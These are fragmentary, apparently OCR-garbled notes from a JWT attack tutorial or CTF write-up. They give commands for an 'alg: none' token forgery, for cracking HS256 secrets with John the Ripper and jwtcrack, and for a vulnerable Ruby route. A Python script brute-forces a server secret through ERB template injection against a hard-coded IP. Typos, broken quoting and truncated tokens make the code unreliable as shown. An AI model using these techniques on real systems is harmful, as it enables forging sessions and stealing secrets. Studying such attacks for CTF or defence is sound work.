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"alg": "HS256"
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"sub": "1", //ZIWTHTE KA
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git clone https://github.com/Sjord/jwtdemo/
cd jwtdemo

composer install

php -S 0.0.0.0:8000 -t public
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127.0.0.1:8000/hs256.php
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def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/"', '_').replace('=", '")
print b64urlencode("{\"typ\":\"IWT\",\"alg\":\"none\"}") + \
" + b64urlencode("{\"data\":\"test\"}") + '.'
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JohnTheRipper
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https://github.com/magnumripper/JohnTheRipper
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git clone https://github.com/magnumripper/JohnTheRipper
cd JohnTheRipper/src

./configure

make -s clean && make -sj4

cd ../run

./john jwt.txt
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make
make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/1lib
./jwtcrack eyJhbGciOiJIUzIINiIsInR5cCI6IkpXVCI9.eylzdWIiOiIXxMjMONTY30DkwIiwibmFtZSI6IkpvaG4gRGO1IiwiYWRtaWs
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get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[@]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jk1"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!"')</script>").result
end
end
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import requests
dirc = '1234567890abcdef"’
url = 'http://47.110.15.101/work"
data = {
"name": "<%=$~%>",
"do": "<%=$~%> is working"
}
sess = requests.session()
sess.headers[ 'Cookie'] = 'auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiIwZmQxMjUzNCImMmJjLTRhZTUtOTRhNy1kNmUwZWRjMG]
#J5FH)
key = "'
for _ in range(100000):
for i in dic:
j = key
j+=1
data[ 'SECRET'] = j
print(J)
res = sess.get(url, data=data)
print(res.text)
if j in res.text:
key += i
print(key)
break
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